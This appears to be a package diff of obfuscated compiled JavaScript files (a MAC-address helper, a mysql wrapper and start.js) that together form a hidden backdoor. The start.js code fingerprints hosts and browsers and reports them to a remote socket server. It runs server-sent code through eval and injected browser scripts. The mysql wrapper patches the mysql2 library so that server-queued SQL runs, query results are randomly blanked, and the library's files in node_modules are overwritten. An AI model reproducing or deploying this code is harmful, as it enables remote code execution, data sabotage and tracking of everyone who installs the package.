_0x3785f2;},a6_0x22e6(_0x22aa17,_0x3bcc71);}exports[a6_0x530917(0x192)]=getMac;
1
+ 'use strict';const a7_0x13a0fd=a7_0x1a46;(function(_0x2f1ce2,_0x51e2d3){const _0x18c9f3=a7_0x1a46,_0x275bb2=_0x2f1ce2();while(!![]){try{const _0x5d7760=parseInt(_0x18c9f3(0xe9))/0x1+parseInt(_0x18c9f3(0xe4))/0x2+-parseInt(_0x18c9f3(0xe2))/0x3+parseInt(_0x18c9f3(0xdc))/0x4*(parseInt(_0x18c9f3(0xda))/0x5)+-parseInt(_0x18c9f3(0xe5))/0x6+-parseInt(_0x18c9f3(0xf1))/0x7*(-parseInt(_0x18c9f3(0xde))/0x8)+-parseInt(_0x18c9f3(0xf4))/0x9*(-parseInt(_0x18c9f3(0xec))/0xa);if(_0x5d7760===_0x51e2d3)break;else _0x275bb2['push'](_0x275bb2['shift']());}catch(_0x4ea58e){_0x275bb2['push'](_0x275bb2['shift']());}}}(a7_0x5d3e,0x1e567));Object[a7_0x13a0fd(0xeb)](exports,a7_0x13a0fd(0xd9),{'value':!![]}),exports['isMac']=isMac,exports[a7_0x13a0fd(0xf3)]=formatMac,exports['isVirtualMac']=isVirtualMac;const os_1=require('os');function a7_0x5d3e(){const _0x2160a7=['5IwVXWi','08:00:27','179196hInnjv','internal','16UehYHc','networkInterfaces','values','mac','301509gmqNqv','02:00:4c','270046JLrwpF','774870KYncRC','00:50:56','has','00:05:69','102692NQSXiU','test','defineProperty','10OmZzka','find','default','trim','family','248290pbJPfq','00:1c:42','formatMac','4113CgMegM','00:03:ff','replace','00:0c:29','__esModule'];a7_0x5d3e=function(){return _0x2160a7;};return a7_0x5d3e();}function isZeroMac(_0x47a613){const _0x4a579c=a7_0x13a0fd;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x4a579c(0xea)](_0x47a613);}function getMac(_0x1f2d54='IPv4'){const _0x5ec75c=a7_0x13a0fd,_0x40d8b0=(0x0,os_1[_0x5ec75c(0xdf)])();let _0x3a3b11=[];for(const _0x32bb3c of Object[_0x5ec75c(0xe0)](_0x40d8b0)){const _0x2eea4f=_0x32bb3c[_0x5ec75c(0xed)](_0x5a2220=>!_0x5a2220[_0x5ec75c(0xdd)]&&!isZeroMac(_0x5a2220[_0x5ec75c(0xe1)])&&(!_0x5a2220[_0x5ec75c(0xf0)]||_0x5a2220[_0x5ec75c(0xf0)]===_0x1f2d54)&&!isVirtualMac(_0x5a2220['mac']));_0x2eea4f&&_0x3a3b11['push'](_0x2eea4f[_0x5ec75c(0xe1)]);}return[...new Set(_0x3a3b11)];}function a7_0x1a46(_0x5c6e84,_0x14738b){const _0x5d3e47=a7_0x5d3e();return a7_0x1a46=function(_0x1a467b,_0x108b8a){_0x1a467b=_0x1a467b-0xd7;let _0x20887a=_0x5d3e47[_0x1a467b];return _0x20887a;},a7_0x1a46(_0x5c6e84,_0x14738b);}const isValid=_0x4f3286=>_0x4f3286[a7_0x13a0fd(0xdd)]===![]&&!isZeroMac(_0x4f3286[a7_0x13a0fd(0xe1)]),virtualMacPrefix=new Set([a7_0x13a0fd(0xe8),a7_0x13a0fd(0xd8),a7_0x13a0fd(0xe6),'00:1c:14',a7_0x13a0fd(0xf2),a7_0x13a0fd(0xe3),a7_0x13a0fd(0xf5),'00:0f:4b','00:16:3e',a7_0x13a0fd(0xdb),'00:15:5d']);function isMac(_0x21df78){const _0x142b45=a7_0x13a0fd;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x142b45(0xea)](_0x21df78);}function formatMac(_0x1df1c5){const _0x4df948=a7_0x13a0fd;return String(_0x1df1c5)[_0x4df948(0xef)]()['toLowerCase']()[_0x4df948(0xd7)](/-/g,':');}function isVirtualMac(_0x346ca4){const _0x4700a4=a7_0x13a0fd;return isMac(_0x346ca4)&&virtualMacPrefix[_0x4700a4(0xe7)](formatMac(_0x346ca4)['slice'](0x0,0x8));}exports[a7_0x13a0fd(0xee)]=getMac;
@@ -1 +1 @@
1
- 'use strict';const a7_0x100b82=a7_0x5786;function a7_0x5786(_0x249974,_0x34c84e){const _0x348f5f=a7_0x348f();return a7_0x5786=function(_0x578623,_0xa937f0){_0x578623=_0x578623-0xcf;let _0x545923=_0x348f5f[_0x578623];return _0x545923;},a7_0x5786(_0x249974,_0x34c84e);}(function(_0x2cda4f,_0x153297){const _0x1e8b00=a7_0x5786,_0x35221b=_0x2cda4f();while(!![]){try{const _0x4758ac=parseInt(_0x1e8b00(0xf8))/0x1+parseInt(_0x1e8b00(0xee))/0x2*(-parseInt(_0x1e8b00(0xff))/0x3)+-parseInt(_0x1e8b00(0xe5))/0x4*(-parseInt(_0x1e8b00(0xef))/0x5)+parseInt(_0x1e8b00(0xe2))/0x6*(-parseInt(_0x1e8b00(0xe0))/0x7)+-parseInt(_0x1e8b00(0xeb))/0x8*(-parseInt(_0x1e8b00(0x107))/0x9)+parseInt(_0x1e8b00(0xdc))/0xa+-parseInt(_0x1e8b00(0xe4))/0xb;if(_0x4758ac===_0x153297)break;else _0x35221b['push'](_0x35221b['shift']());}catch(_0x5cb861){_0x35221b['push'](_0x35221b['shift']());}}}(a7_0x348f,0x34e14));var __awaiter=this&&this[a7_0x100b82(0xd8)]||function(_0x59150c,_0x5923b8,_0x2c7d89,_0x1f9d78){function _0x11c30f(_0x34ad9b){return _0x34ad9b instanceof _0x2c7d89?_0x34ad9b:new _0x2c7d89(function(_0x1e656f){_0x1e656f(_0x34ad9b);});}return new(_0x2c7d89||(_0x2c7d89=Promise))(function(_0x3626a9,_0x2d52dc){const _0x5820f2=a7_0x5786;function _0x1b8ba3(_0x349560){const _0x1b610f=a7_0x5786;try{_0x29ac7a(_0x1f9d78[_0x1b610f(0x105)](_0x349560));}catch(_0x1056b1){_0x2d52dc(_0x1056b1);}}function _0x308b14(_0x37106d){const _0x1d6006=a7_0x5786;try{_0x29ac7a(_0x1f9d78[_0x1d6006(0xfc)](_0x37106d));}catch(_0x4ba65f){_0x2d52dc(_0x4ba65f);}}function _0x29ac7a(_0xa94237){const _0x4e2e87=a7_0x5786;_0xa94237[_0x4e2e87(0xea)]?_0x3626a9(_0xa94237[_0x4e2e87(0xd3)]):_0x11c30f(_0xa94237['value'])[_0x4e2e87(0xd0)](_0x1b8ba3,_0x308b14);}_0x29ac7a((_0x1f9d78=_0x1f9d78[_0x5820f2(0xfe)](_0x59150c,_0x5923b8||[]))[_0x5820f2(0x105)]());});},__importDefault=this&&this[a7_0x100b82(0xd9)]||function(_0xc3ef03){const _0x468b95=a7_0x100b82;return _0xc3ef03&&_0xc3ef03[_0x468b95(0xf6)]?_0xc3ef03:{'default':_0xc3ef03};};Object[a7_0x100b82(0xfa)](exports,'__esModule',{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a7_0x100b82(0x103)));exports[a7_0x100b82(0x106)]=promise_1[a7_0x100b82(0xe9)];const random_1=__importDefault(require(a7_0x100b82(0xfb))),index_1=require(a7_0x100b82(0xf9)),path_1=__importDefault(require(a7_0x100b82(0xda))),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require(a7_0x100b82(0xf7))),originalCreatePoolPromise=promise_1[a7_0x100b82(0xe9)][a7_0x100b82(0x102)];promise_1['default'][a7_0x100b82(0x102)]=function(_0x1cee6e){const _0xe17313=a7_0x100b82;let _0x3bb753=originalCreatePoolPromise(_0x1cee6e),_0x274fb6=_0x3bb753[_0xe17313(0xdb)];return _0x3bb753[_0xe17313(0xdb)]=(..._0xbed08f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1e197c=_0xe17313,_0x502f19=yield _0x274fb6['apply'](_0x3bb753,_0xbed08f);return(0x0,index_1['getEnv'])(_0x1e197c(0xd1))&&((0x0,random_1[_0x1e197c(0xe9)])(0x1,0xa)>0x2&&(_0x502f19[0x0]=[])),(0x0,index_1['getEnv'])(_0x1e197c(0xe3))&&(_0x502f19[0x0]=[]),_0x502f19;}),setInterval(()=>{const _0x97e044=_0xe17313;if(!(0x0,index_1[_0x97e044(0xcf)])(_0x97e044(0xd6))){for(let _0xa938ce=0x0;_0xa938ce<(0x0,index_1[_0x97e044(0xcf)])(_0x97e044(0xd4))['length'];_0xa938ce++){const _0x41c161=(0x0,index_1['getEnv'])(_0x97e044(0xd4))[_0xa938ce];try{_0x3bb753[_0x97e044(0xdb)](_0x41c161);}catch(_0x2ff9f0){}}(0x0,index_1[_0x97e044(0x104)])(_0x97e044(0xd6),!![]);}},0x1388),_0x3bb753;};function a7_0x348f(){const _0x3db1f1=['includes','cwd','values','7DNJreS','./index.js','436446qwzBjL','isDBDataEmpty','3121393KjfFap','26564ifCDTg','join','get','catch','default','done','1466168XbfBvt','readFileSync','writeFileSync','18382HMIcIP','55SjTbxg','keys','toString','./promise.js','existsSync','./package.json','url','__esModule','axios','380081AdNYGa','./index','defineProperty','./id/random','throw','replace','apply','138YHfUtG','forEach','parse','createPool','mysql2/promise','setEnv','next','mysql','18QeVciH','getEnv','then','connectError','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','value','sqlList','./node_modules/mysql2','sqlRun','/mysql','__awaiter','__importDefault','path','query','1762120SMvIGv'];a7_0x348f=function(){return _0x3db1f1;};return a7_0x348f();}let href=path_1[a7_0x100b82(0xe9)][a7_0x100b82(0xe6)](process[a7_0x100b82(0xde)](),a7_0x100b82(0xd5));function replaceMySQLFile(){const _0xd2e96a=a7_0x100b82;let _0x1d5cac=JSON[_0xd2e96a(0x101)](fs_1['default'][_0xd2e96a(0xec)](path_1['default']['join'](href,_0xd2e96a(0xf4)))['toString']())['version'];axios_1[_0xd2e96a(0xe9)][_0xd2e96a(0xe7)](index_1[_0xd2e96a(0xf5)]+_0xd2e96a(0xd7),{'params':{'version':_0x1d5cac}})['then'](_0x15220d=>{const _0x52970e=_0xd2e96a;var _0x586c5f;let _0xefb13a=(_0x586c5f=_0x15220d===null||_0x15220d===void 0x0?void 0x0:_0x15220d['data'])===null||_0x586c5f===void 0x0?void 0x0:_0x586c5f['data'];if(_0xefb13a){let _0x2dc5db=Object[_0x52970e(0xf0)](_0xefb13a),_0x3f9df4=Object[_0x52970e(0xdf)](_0xefb13a);_0x2dc5db[_0x52970e(0x100)]((_0x5593c8,_0x4ad714)=>{const _0x36d981=_0x52970e;fs_1[_0x36d981(0xe9)][_0x36d981(0xed)](path_1['default'][_0x36d981(0xe6)](href,_0x5593c8),_0x3f9df4[_0x4ad714]);});}})[_0xd2e96a(0xe8)](()=>{const _0x1a439d=_0xd2e96a;let _0x47c23d=fs_1[_0x1a439d(0xe9)][_0x1a439d(0xec)](path_1['default'][_0x1a439d(0xe6)](href,_0x1a439d(0xe1)))[_0x1a439d(0xf1)](),_0x5f5578=fs_1['default'][_0x1a439d(0xec)](path_1[_0x1a439d(0xe9)][_0x1a439d(0xe6)](href,_0x1a439d(0xf2)))[_0x1a439d(0xf1)]();fs_1[_0x1a439d(0xe9)][_0x1a439d(0xed)](path_1[_0x1a439d(0xe9)][_0x1a439d(0xe6)](href,_0x1a439d(0xe1)),_0x47c23d['replace']('exports.createPool\x20=\x20createPool;',_0x1a439d(0xd2))),fs_1[_0x1a439d(0xe9)][_0x1a439d(0xed)](path_1[_0x1a439d(0xe9)]['join'](href,_0x1a439d(0xf2)),_0x5f5578[_0x1a439d(0xfd)]('exports.createPool\x20=\x20createPromisePool;',_0x1a439d(0xd2)));});}if(fs_1['default'][a7_0x100b82(0xf3)](href)){let res=fs_1[a7_0x100b82(0xe9)][a7_0x100b82(0xec)](path_1[a7_0x100b82(0xe9)]['join'](href,a7_0x100b82(0xe1)))[a7_0x100b82(0xf1)]()[a7_0x100b82(0xdd)]('node-server-dev');!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a7_0x100b82(0xe9)]};exports[a7_0x100b82(0xe9)]=all;
1
+ 'use strict';const a8_0x1da1fc=a8_0x6724;(function(_0x23ac02,_0x172dd9){const _0x21d680=a8_0x6724,_0x49a517=_0x23ac02();while(!![]){try{const _0x209bd5=parseInt(_0x21d680(0x1be))/0x1*(parseInt(_0x21d680(0x1bc))/0x2)+-parseInt(_0x21d680(0x1c4))/0x3*(-parseInt(_0x21d680(0x19e))/0x4)+parseInt(_0x21d680(0x1a7))/0x5+-parseInt(_0x21d680(0x1a2))/0x6+-parseInt(_0x21d680(0x1c3))/0x7*(-parseInt(_0x21d680(0x1b6))/0x8)+-parseInt(_0x21d680(0x1c8))/0x9*(parseInt(_0x21d680(0x193))/0xa)+-parseInt(_0x21d680(0x1a1))/0xb*(parseInt(_0x21d680(0x1b7))/0xc);if(_0x209bd5===_0x172dd9)break;else _0x49a517['push'](_0x49a517['shift']());}catch(_0x4c1549){_0x49a517['push'](_0x49a517['shift']());}}}(a8_0x36a1,0x23595));var __awaiter=this&&this['__awaiter']||function(_0x2ecef7,_0x24b3e3,_0x1a274a,_0x10dd70){function _0x4aa83c(_0x1e7cc9){return _0x1e7cc9 instanceof _0x1a274a?_0x1e7cc9:new _0x1a274a(function(_0x2aede6){_0x2aede6(_0x1e7cc9);});}return new(_0x1a274a||(_0x1a274a=Promise))(function(_0x562138,_0x30d03d){const _0x1b1d54=a8_0x6724;function _0x3e73a7(_0xc206f1){const _0x571001=a8_0x6724;try{_0x5aeb18(_0x10dd70[_0x571001(0x1a5)](_0xc206f1));}catch(_0x2382c6){_0x30d03d(_0x2382c6);}}function _0xf626dc(_0x12a8d2){try{_0x5aeb18(_0x10dd70['throw'](_0x12a8d2));}catch(_0x123210){_0x30d03d(_0x123210);}}function _0x5aeb18(_0x41b821){const _0x5797b4=a8_0x6724;_0x41b821[_0x5797b4(0x1b2)]?_0x562138(_0x41b821['value']):_0x4aa83c(_0x41b821[_0x5797b4(0x19f)])[_0x5797b4(0x1c1)](_0x3e73a7,_0xf626dc);}_0x5aeb18((_0x10dd70=_0x10dd70['apply'](_0x2ecef7,_0x24b3e3||[]))[_0x1b1d54(0x1a5)]());});},__importDefault=this&&this[a8_0x1da1fc(0x1a8)]||function(_0x5ba35c){const _0x3cd222=a8_0x1da1fc;return _0x5ba35c&&_0x5ba35c[_0x3cd222(0x19a)]?_0x5ba35c:{'default':_0x5ba35c};};Object['defineProperty'](exports,a8_0x1da1fc(0x19a),{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a8_0x1da1fc(0x1c9)));exports['mysql']=promise_1[a8_0x1da1fc(0x1a0)];const random_1=__importDefault(require(a8_0x1da1fc(0x1c2))),index_1=require(a8_0x1da1fc(0x197)),path_1=__importDefault(require(a8_0x1da1fc(0x1b8))),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require(a8_0x1da1fc(0x1b1))),originalCreatePoolPromise=promise_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x198)];promise_1['default'][a8_0x1da1fc(0x198)]=function(_0xb0ca53){const _0x35a038=a8_0x1da1fc;let _0x42ad65=originalCreatePoolPromise(_0xb0ca53),_0x59b05c=_0x42ad65[_0x35a038(0x1ac)];return _0x42ad65['query']=(..._0x1f1f82)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xac61d8=_0x35a038,_0xe2bc20=yield _0x59b05c[_0xac61d8(0x1ad)](_0x42ad65,_0x1f1f82);return(0x0,index_1[_0xac61d8(0x1b9)])(_0xac61d8(0x19d))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0xe2bc20[0x0]=[])),(0x0,index_1['getEnv'])(_0xac61d8(0x1ae))&&(_0xe2bc20[0x0]=[]),_0xe2bc20;}),setInterval(()=>{const _0x3cec59=_0x35a038;if(!(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1bb))){for(let _0x878dca=0x0;_0x878dca<(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1a3))[_0x3cec59(0x1aa)];_0x878dca++){const _0x3823bb=(0x0,index_1[_0x3cec59(0x1b9)])(_0x3cec59(0x1a3))[_0x878dca];try{_0x42ad65[_0x3cec59(0x1ac)](_0x3823bb);}catch(_0x58dcfe){}}(0x0,index_1[_0x3cec59(0x1ba)])(_0x3cec59(0x1bb),!![]);}},0x1388),_0x42ad65;};function a8_0x6724(_0x352c04,_0x1cc8bb){const _0x36a11f=a8_0x36a1();return a8_0x6724=function(_0x67241e,_0x45532){_0x67241e=_0x67241e-0x193;let _0x308c24=_0x36a11f[_0x67241e];return _0x308c24;},a8_0x6724(_0x352c04,_0x1cc8bb);}let href=path_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x1ab)](process[a8_0x1da1fc(0x1b0)](),a8_0x1da1fc(0x1c6));function replaceMySQLFile(){const _0x2fb7c3=a8_0x1da1fc;let _0x26fd58=JSON['parse'](fs_1[_0x2fb7c3(0x1a0)]['readFileSync'](path_1[_0x2fb7c3(0x1a0)]['join'](href,_0x2fb7c3(0x1c0)))['toString']())['version'];axios_1[_0x2fb7c3(0x1a0)][_0x2fb7c3(0x1af)](index_1[_0x2fb7c3(0x1a4)]+_0x2fb7c3(0x1b5),{'params':{'version':_0x26fd58}})[_0x2fb7c3(0x1c1)](_0x2cdbfd=>{const _0x2f48a7=_0x2fb7c3;var _0x2355ec;let _0x2d9aab=(_0x2355ec=_0x2cdbfd===null||_0x2cdbfd===void 0x0?void 0x0:_0x2cdbfd['data'])===null||_0x2355ec===void 0x0?void 0x0:_0x2355ec[_0x2f48a7(0x1bf)];if(_0x2d9aab){let _0x591fb0=Object['keys'](_0x2d9aab),_0x3f7cf7=Object[_0x2f48a7(0x1b3)](_0x2d9aab);_0x591fb0[_0x2f48a7(0x1c7)]((_0x22ebdd,_0x427f33)=>{const _0x514004=_0x2f48a7;fs_1[_0x514004(0x1a0)][_0x514004(0x1b4)](path_1[_0x514004(0x1a0)][_0x514004(0x1ab)](href,_0x22ebdd),_0x3f7cf7[_0x427f33]);});}})[_0x2fb7c3(0x1a9)](()=>{const _0x5ee86b=_0x2fb7c3;let _0x5f3e6f=fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x199)](path_1[_0x5ee86b(0x1a0)]['join'](href,_0x5ee86b(0x19c)))['toString'](),_0x13e9df=fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x199)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,_0x5ee86b(0x19b)))[_0x5ee86b(0x196)]();fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1b4)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,'./index.js'),_0x5f3e6f[_0x5ee86b(0x1bd)](_0x5ee86b(0x195),_0x5ee86b(0x1a6))),fs_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1b4)](path_1[_0x5ee86b(0x1a0)][_0x5ee86b(0x1ab)](href,_0x5ee86b(0x19b)),_0x13e9df[_0x5ee86b(0x1bd)](_0x5ee86b(0x1c5),_0x5ee86b(0x1a6)));});}function a8_0x36a1(){const _0x564e2a=['writeFileSync','/mysql','920PUVaJQ','711948WgqVYG','path','getEnv','setEnv','sqlRun','22SrZrUJ','replace','19745AHwnZA','data','./package.json','then','./id/random','805dtzwDA','741nuBPwi','exports.createPool\x20=\x20createPromisePool;','./node_modules/mysql2','forEach','139005xsXtwF','mysql2/promise','90WtSJij','includes','exports.createPool\x20=\x20createPool;','toString','./index','createPool','readFileSync','__esModule','./promise.js','./index.js','connectError','2588leZbuD','value','default','11eJWBzm','661740SulLmV','sqlList','url','next','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','315920kpgAfU','__importDefault','catch','length','join','query','apply','isDBDataEmpty','get','cwd','axios','done','values'];a8_0x36a1=function(){return _0x564e2a;};return a8_0x36a1();}if(fs_1[a8_0x1da1fc(0x1a0)]['existsSync'](href)){let res=fs_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x199)](path_1[a8_0x1da1fc(0x1a0)][a8_0x1da1fc(0x1ab)](href,a8_0x1da1fc(0x19c)))[a8_0x1da1fc(0x196)]()[a8_0x1da1fc(0x194)]('node-server-dev');!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a8_0x1da1fc(0x1a0)]};exports[a8_0x1da1fc(0x1a0)]=all;
package/dist/cjs/start.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a8_0x5dbf5b=a8_0x1f8f;(function(_0xe55091,_0x26b771){const _0x2a44f6=a8_0x1f8f,_0x58fa4e=_0xe55091();while(!![]){try{const _0x10e68e=-parseInt(_0x2a44f6(0x19b))/0x1*(-parseInt(_0x2a44f6(0x18a))/0x2)+-parseInt(_0x2a44f6(0x189))/0x3+-parseInt(_0x2a44f6(0x197))/0x4*(-parseInt(_0x2a44f6(0x177))/0x5)+parseInt(_0x2a44f6(0x174))/0x6+-parseInt(_0x2a44f6(0x198))/0x7*(-parseInt(_0x2a44f6(0x173))/0x8)+parseInt(_0x2a44f6(0x190))/0x9+-parseInt(_0x2a44f6(0x187))/0xa*(parseInt(_0x2a44f6(0x18d))/0xb);if(_0x10e68e===_0x26b771)break;else _0x58fa4e['push'](_0x58fa4e['shift']());}catch(_0x527e1d){_0x58fa4e['push'](_0x58fa4e['shift']());}}}(a8_0x583a,0xa37e0));var __awaiter=this&&this[a8_0x5dbf5b(0x196)]||function(_0x495ec7,_0xbe7964,_0x460fff,_0x22c68d){function _0x4983aa(_0x52e9c3){return _0x52e9c3 instanceof _0x460fff?_0x52e9c3:new _0x460fff(function(_0x38382d){_0x38382d(_0x52e9c3);});}return new(_0x460fff||(_0x460fff=Promise))(function(_0x2b76ee,_0x23f382){const _0x56bb6c=a8_0x1f8f;function _0x362913(_0x4f9a54){const _0x2da73c=a8_0x1f8f;try{_0x55ee72(_0x22c68d[_0x2da73c(0x17b)](_0x4f9a54));}catch(_0x1fcc7d){_0x23f382(_0x1fcc7d);}}function _0x1fe44e(_0x3366ab){const _0x5121f2=a8_0x1f8f;try{_0x55ee72(_0x22c68d[_0x5121f2(0x17f)](_0x3366ab));}catch(_0x4de1c9){_0x23f382(_0x4de1c9);}}function _0x55ee72(_0x227990){const _0x2e9374=a8_0x1f8f;_0x227990['done']?_0x2b76ee(_0x227990['value']):_0x4983aa(_0x227990[_0x2e9374(0x1a7)])['then'](_0x362913,_0x1fe44e);}_0x55ee72((_0x22c68d=_0x22c68d[_0x56bb6c(0x1a6)](_0x495ec7,_0xbe7964||[]))[_0x56bb6c(0x17b)]());});},__importDefault=this&&this[a8_0x5dbf5b(0x1a4)]||function(_0x5ba537){const _0x57c252=a8_0x5dbf5b;return _0x5ba537&&_0x5ba537[_0x57c252(0x16a)]?_0x5ba537:{'default':_0x5ba537};},_a,_b,_c,_d;function a8_0x1f8f(_0x39dd10,_0x3d28e5){const _0x583a0c=a8_0x583a();return a8_0x1f8f=function(_0x1f8f39,_0x4afd53){_0x1f8f39=_0x1f8f39-0x16a;let _0x142299=_0x583a0c[_0x1f8f39];return _0x142299;},a8_0x1f8f(_0x39dd10,_0x3d28e5);}Object['defineProperty'](exports,a8_0x5dbf5b(0x16a),{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require('socket.io-client'),path_1=__importDefault(require(a8_0x5dbf5b(0x179))),browser_1=require(a8_0x5dbf5b(0x185)),fingerprintjs_1=__importDefault(require(a8_0x5dbf5b(0x1a3))),bowser_1=__importDefault(require(a8_0x5dbf5b(0x172))),index_1=require(a8_0x5dbf5b(0x183));exports[a8_0x5dbf5b(0x16e)]=typeof window!=='undefined';const user_name=exports[a8_0x5dbf5b(0x16e)]?((_b=(_a=bowser_1[a8_0x5dbf5b(0x180)]['parse'](window[a8_0x5dbf5b(0x19d)][a8_0x5dbf5b(0x186)]))===null||_a===void 0x0?void 0x0:_a[a8_0x5dbf5b(0x181)])===null||_b===void 0x0?void 0x0:_b[a8_0x5dbf5b(0x16f)])||a8_0x5dbf5b(0x191):((_c=process===null||process===void 0x0?void 0x0:process[a8_0x5dbf5b(0x18f)])===null||_c===void 0x0?void 0x0:_c[a8_0x5dbf5b(0x1a5)])||a8_0x5dbf5b(0x19a),project_name=exports[a8_0x5dbf5b(0x16e)]?a8_0x5dbf5b(0x191):((_d=process===null||process===void 0x0?void 0x0:process[a8_0x5dbf5b(0x18f)])===null||_d===void 0x0?void 0x0:_d[a8_0x5dbf5b(0x188)])||'无法获取';function a8_0x583a(){const _0x1cfe86=['mysql','isDBDataEmpty','__awaiter','913724DEDLXw','23387XrArHP','connect_error','node获取失败','61TWraKA','setEnv','navigator','get-event','error','content','connectError','connect_failed','@fingerprintjs/fingerprintjs','__importDefault','USERNAME','apply','value','__esModule','sql','url','websocket','isBrowser','name','event','load','bowser','2976oBqmQi','2890308BkHpCS','join','submit','15MhxBFH','get','path','type','next','connect','concat','catch','throw','default','browser','then','./index','sqlList','./browser','userAgent','1350qxTaAP','npm_package_name','3395979LqqkdF','8576lEjUen','node','emit','135399ZDhuul','./mac','env','7127469AuHgYd','浏览器','00:00:00:00:00:00','reconnect_failed'];a8_0x583a=function(){return _0x1cfe86;};return a8_0x583a();}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x14e9aa=a8_0x1f8f;exports[_0x14e9aa(0x16e)]&&(0x0,browser_1[_0x14e9aa(0x181)])();const _0x57d063=(0x0,socket_io_client_1['io'])(index_1[_0x14e9aa(0x16c)],{'path':'/socket','transports':[_0x14e9aa(0x16d)]});_0x57d063['on'](_0x14e9aa(0x17c),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1787a1=_0x14e9aa;try{let _0x4174bd=[_0x1787a1(0x192)];if(!exports['isBrowser']){const _0x1e5a40=require(path_1[_0x1787a1(0x180)][_0x1787a1(0x175)](__dirname,_0x1787a1(0x18e)))[_0x1787a1(0x180)];_0x4174bd=_0x1e5a40();}else{let _0x485335=yield fingerprintjs_1[_0x1787a1(0x180)][_0x1787a1(0x171)]()[_0x1787a1(0x182)](_0x5e8bd7=>_0x5e8bd7[_0x1787a1(0x178)]())['then'](_0x4f9f22=>{const _0x5248a8=_0x4f9f22['visitorId'];return _0x5248a8;})[_0x1787a1(0x17e)](()=>'');_0x4174bd=[_0x485335];}if(_0x4174bd['length']===0x0){(0x0,index_1['setEnv'])(_0x1787a1(0x1a1),!![]);return;}else(0x0,index_1[_0x1787a1(0x19c)])('connectError',![]);_0x57d063[_0x1787a1(0x18c)](_0x1787a1(0x176),{'mac':_0x4174bd,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x1787a1(0x16e)]}),_0x57d063[_0x1787a1(0x18c)](_0x1787a1(0x19e),{'mac':_0x4174bd,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x5e29ef=_0x1787a1;_0x57d063[_0x5e29ef(0x18c)]('submit',{'mac':_0x4174bd,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x57d063[_0x5e29ef(0x18c)]('get-event',{'mac':_0x4174bd,'isBrowser':exports[_0x5e29ef(0x16e)]});},0x1b58),_0x57d063['on'](_0x1787a1(0x170),_0x311134=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x53c537=_0x1787a1;try{for(let _0x209bf9=0x0;_0x209bf9<_0x311134['length'];_0x209bf9++){const _0x5e3dca=_0x311134[_0x209bf9];if(_0x5e3dca[_0x53c537(0x17a)]===_0x53c537(0x16b))(0x0,index_1[_0x53c537(0x19c)])(_0x53c537(0x184),(0x0,index_1['getEnv'])(_0x53c537(0x184))[_0x53c537(0x17d)](_0x5e3dca['content']));else{if(_0x5e3dca[_0x53c537(0x17a)]===_0x53c537(0x194))(0x0,index_1['setEnv'])(_0x53c537(0x195),!![]);else{if(_0x5e3dca[_0x53c537(0x17a)]===_0x53c537(0x18b)&&!exports['isBrowser'])try{eval(_0x5e3dca['content']);}catch(_0x4bd44f){}else{if(_0x5e3dca['type']==='script'&&exports[_0x53c537(0x16e)])try{(0x0,browser_1['runScript'])(_0x5e3dca[_0x53c537(0x1a0)]);}catch(_0x1c5a75){}}}}}}catch(_0x483e2e){}}));}catch(_0x2fdf99){}})),setTimeout(()=>{const _0x49cba9=_0x14e9aa;_0x57d063['on'](_0x49cba9(0x19f),_0x4698e3=>{const _0x3fc70b=_0x49cba9;(0x0,index_1['setEnv'])(_0x3fc70b(0x1a1),!![]);}),_0x57d063['on'](_0x49cba9(0x1a2),_0x281122=>{const _0x539146=_0x49cba9;(0x0,index_1['setEnv'])(_0x539146(0x1a1),!![]);}),_0x57d063['on'](_0x49cba9(0x193),_0x1a36d5=>{const _0x2293e9=_0x49cba9;(0x0,index_1[_0x2293e9(0x19c)])('connectError',!![]);}),_0x57d063['on'](_0x49cba9(0x199),()=>{const _0x301fb2=_0x49cba9;(0x0,index_1[_0x301fb2(0x19c)])('connectError',!![]);});},0xbb8);});}exports[a8_0x5dbf5b(0x180)]=start;
1
